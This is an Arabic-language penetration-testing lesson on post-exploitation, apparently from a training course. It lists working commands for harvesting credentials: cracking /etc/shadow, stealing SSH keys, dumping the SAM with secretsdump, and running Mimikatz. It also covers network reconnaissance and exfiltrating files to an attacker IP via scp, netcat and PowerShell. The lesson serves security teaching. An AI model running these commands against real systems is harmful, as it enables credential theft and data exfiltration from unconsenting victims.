ما بعد الاستغلال وجمع بيانات الاعتماد

بعد الحصول على وصول مرتفع، تحتاج لاستخراج بيانات الاعتماد والبيانات الحساسة. يغطي هذا الدرس تقنيات ما بعد الاستغلال الأساسية.

جمع المعلومات

معلومات النظام

Linux:

# المستخدمون والمجموعات
cat /etc/passwd
cat /etc/group
cat /etc/shadow  # إذا كان قابلاً للقراءة

# تكوين الشبكة
ip a
netstat -tulnp
cat /etc/hosts

# العمليات الجارية
ps auxww

# الحزم المثبتة
dpkg -l  # Debian
rpm -qa  # RHEL

Windows:

# معلومات النظام
systeminfo
hostname

# المستخدمون
net user
net localgroup administrators

# الشبكة
ipconfig /all
netstat -ano
route print
arp -a

# العمليات
tasklist /v
wmic process list brief

جمع بيانات الاعتماد

بيانات اعتماد Linux

ملفات كلمة المرور:

# فحص صلاحيات /etc/shadow
ls -la /etc/shadow

# إذا كان قابلاً للقراءة، كسر الهاشات
unshadow /etc/passwd /etc/shadow > unshadowed.txt
john unshadowed.txt

مفاتيح SSH:

# إيجاد مفاتيح SSH
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null

# المواقع الشائعة
cat /home/*/.ssh/id_rsa
cat /root/.ssh/id_rsa

ملفات السجل:

cat ~/.bash_history
cat ~/.mysql_history
cat ~/.psql_history

ملفات التكوين:

# تكوينات الويب
find /var/www -name "*.php" -exec grep -l "password" {} \;
find /var/www -name "*.conf" -exec grep -l "password" {} \;

# تكوينات قاعدة البيانات
cat /var/www/html/wp-config.php
cat /etc/mysql/my.cnf
cat ~/.my.cnf

بيانات اعتماد Windows

قاعدة بيانات SAM:

# من موجه مرتفع
reg save hklm\sam C:\temp\sam
reg save hklm\system C:\temp\system
reg save hklm\security C:\temp\security

# الاستخراج مع secretsdump
impacket-secretsdump -sam sam -system system -security security LOCAL

Mimikatz:

mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
sekurlsa::tickets
lsadump::sam
lsadump::lsa /patch

بيانات الاعتماد المخبأة:

# فحص بيانات الاعتماد المخزنة
cmdkey /list

# مدير بيانات الاعتماد
vaultcmd /listcreds:"Windows Credentials"

سجل Autologon:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
# ابحث عن: DefaultUserName، DefaultPassword

ملفات Unattend:

# المواقع الشائعة
type C:\Windows\Panther\Unattend.xml
type C:\Windows\Panther\unattended.xml
type C:\Windows\System32\sysprep\sysprep.xml

مواقع الملفات الحساسة

Linux

# بيانات الاعتماد
/etc/passwd
/etc/shadow
/etc/group
/etc/sudoers
~/.ssh/id_rsa
~/.ssh/authorized_keys
~/.bash_history

# الويب
/var/www/html/wp-config.php
/var/www/html/config.php
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf

# قاعدة البيانات
/var/lib/mysql/
/etc/mysql/my.cnf
~/.mysql_history

Windows

# بيانات الاعتماد
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
C:\Windows\repair\SAM
C:\Windows\repair\SYSTEM

# بيانات المستخدم
C:\Users\<user>\AppData\Local\
C:\Users\<user>\Desktop\
C:\Users\<user>\Documents\

# تكوينات الويب
C:\inetpub\wwwroot\web.config
C:\xampp\apache\conf\httpd.conf

# كلمات المرور في الملفات
*.txt، *.doc، *.xls، *.config، *.ini

استطلاع الشبكة

تحديد أهداف إضافية

Linux:

# ذاكرة ARP
arp -a
cat /proc/net/arp

# ملف hosts
cat /etc/hosts

# اتصالات الشبكة
netstat -tulnp
ss -tulnp

# فحص الشبكة الفرعية
for i in $(seq 1 254); do ping -c 1 192.168.1.$i | grep "64 bytes" &; done

Windows:

# ذاكرة ARP
arp -a

# ملف hosts
type C:\Windows\System32\drivers\etc\hosts

# اتصالات الشبكة
netstat -ano

# أجهزة النطاق
net view
net view /domain

إيجاد المشاركات

Linux (لأهداف Windows):

# مشاركات SMB
smbclient -L //target -N
crackmapexec smb target --shares

# مشاركات NFS
showmount -e target

Windows:

# المشاركات المحلية
net share

# المشاركات البعيدة
net view \\target

تسريب البيانات

طرق النقل الآمنة

Linux:

# SCP
scp sensitive_data.txt attacker@10.10.14.5:/tmp/

# Netcat
nc -w 3 10.10.14.5 4444 < sensitive_data.txt

# ترميز Base64 ونسخ
base64 -w 0 sensitive_file

Windows:

# PowerShell للمهاجم
Invoke-WebRequest -Uri "http://10.10.14.5/" -Method POST -Body (Get-Content C:\file.txt)

# Certutil
certutil -encode sensitive.txt encoded.b64
type encoded.b64

قائمة مراجعة ما بعد الاستغلال

□ استخراج هاشات كلمات المرور (SAM، /etc/shadow)
□ استخراج بيانات الاعتماد المخبأة
□ إيجاد مفاتيح SSH
□ البحث عن كلمات مرور في الملفات
□ فحص كلمات مرور المتصفح المخزنة
□ استطلاع الشبكة (ARP، hosts)
□ إيجاد المستندات الحساسة
□ فحص المشاركات المتاحة
□ توثيق كل شيء للتقرير

في الدرس التالي، سنغطي التمحور والأنفاق للوصول لقطاعات شبكة إضافية. :::